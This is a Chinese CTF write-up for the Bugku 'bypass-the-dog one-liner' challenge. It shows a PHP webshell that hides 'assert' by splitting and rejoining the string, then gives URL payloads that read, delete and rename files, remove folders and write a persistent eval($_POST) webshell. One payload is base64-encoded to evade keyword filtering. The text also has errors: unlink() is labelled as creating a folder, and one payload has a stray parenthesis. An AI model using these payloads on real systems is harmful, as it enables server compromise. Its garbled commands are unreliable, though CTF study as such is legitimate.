用php的系统函数,突破低权限。
题目来自于bugku的"过狗一句话",这道题目有接近2100人做出来,可是网上的wp并没有给出确切的原理,所以在此借这一道题目,抛砖引入。
一丶代码和分析
<?php
$poc="a#s#s#e#r#t";
$poc_1=explode("#",$poc); //explode()把"a#s#s#e#r#t"去掉变为assert
$poc_2=$poc_1[0].$poc_1[1].$poc_1[2].$poc_1[3].$poc_1[4].$poc_1[5]; //a,s,s,e,r,t挨个拼接到$poc2
$poc_2($_GET['s']) //相当于一句话木马:assert($_GET['s']);
?>
二丶随手测试phpinfo()
assert()对传入的字符串当作php代码执行,所以我们第一个payload:
http://ip/?s=phpinfo()
,相当于执行代码
assert(phpinfo());
大体看了下是linux,搜索下disable_functions,没有函数被禁用。
很自然的想到了用执行系统命令查看flag在哪里。
三丶测试系统命令能否执行
/?s=system(‘ls’)
,发现没有反应,然后sleep一下,或者ping发现都没有反应。这里不是没有回显,因为已经知道了是assert(system(''))执行php代码。
没有禁用函数,并且不是回显的问题。猜测这里是用户权限太低了,所以不能执行。
四丶转变思路
网上的WP几乎是千篇一律:?s=print_r(scandir('./'))
可是大多数并没有给出实质性的回答:为什么这个就可以了?
既然这里涉及到的是linux用户的系统权限,那么我们是不是可以用php自己本身带着的系统函数呢?
回头一看 ?s=print_r(scandir('./'))
不就是用的系统函数吗?那么开始测试相关的php系统函数。
五丶各种payload
1.查看文件
print_r(): 就是打印出变量,那var_dump()也是可以的吧
?s=var_dump(scandir('/'))
scandir():列出目录中的文件和目录,我们也可以直接用glob()函数查看文件
?s=var_dump(glob('/*'))
用file_get_contents()读取文件内容:
?s=print_r(file_get_contents("./index.php"))
2.删除文件
unlink(),删除指定的文件。为了演示,我自己新建了个test1文件在当前的目录,文件的创建在后边会说。
?s=unlink('test1')
3.对文件改名
rename(old,new)
?s=rename('test2','test3')
test2文件名字改为test3 (test2也是为了演示刚刚建立的)
4.创建或删除文件夹
?s=unlink('test')
创建test文件夹
/?s=rmdir('test')
删除test文件夹
5.写文件
fwrite()函数写入个小马,然后用蚁剑连上去试试。
?s=fwrite(fopen('./zzz.php','w+'),'<?php%20@eval($_POST[pass]);?>'))
顺便再给出一种绕过关键词的方式
?s=fwrite(fopen('./zaq.php','w+'),base64_decode("PD9waHAgQGV2YWwoJF9QT1NUW3Bhc3NdKTs/Pg=="))